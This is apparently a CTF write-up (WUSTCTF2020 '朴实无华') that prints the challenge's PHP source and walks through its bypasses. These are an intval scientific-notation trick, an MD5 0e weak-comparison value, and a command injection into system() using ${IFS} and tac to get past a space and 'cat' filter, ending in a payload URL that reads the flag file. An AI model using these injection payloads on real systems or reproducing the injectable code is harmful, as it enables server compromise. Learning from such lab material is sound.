[WUSTCTF2020]朴实无华
知识点:
- intval函数
- php MD5 弱比较
- tac读取文件
- ${IFS}空格绕过
进入环境
robots.txt里面有东西
进去这个文件
好家伙
假的flag
就在这个页面到处看看
响应头里面又有东西
访问
朴实无华,我知道题目为啥叫朴实无华了
接下来代码审计
我电脑的编码好像有问题,中文是乱码
不过问题不大
我去复制别人的
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
一共有三层绕过
先是level1
GET传参num,而且num的值既要小于2020,加1后又要大于2021…
如果传入的num不满足条件,就会变成穷人
如果不传入num,就要去非洲
注意这里
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1
对字符串’1e10’+1可以将字符串类型强行转换成数字类型
构造payload
/fl4g.php?num=‘2e4’
level2
要求传入一个叫md5的参数,然后对其进行MD5加密,并且加密前后的值要求相等
注意是==
所以在MD5弱类型这方面下手
找一个字符串,使得进行MD5加密前是’0e’开头的,MD5加密后也是’0e’开头的,这样子,就能保证加密前后的值是相等==的了
0e215962017
构造
/fl4g.php?num=2e4&md5=0e215962017
level3
要求传入参数get_flag,并且不能有空格
如果get_flag里面有cat,就会被替换成wctf2020
传入的get_flag会当作系统命令被执行
先看看当前目录下都有什么
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
要读取那个很长的flag文件
读取文件用cat,但是这里被换掉了
所以我们改用tac
读取文件的命令是tac fllllaaaag,但是这里根据逻辑不能填空格
可以利用${IFS}替代空格
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag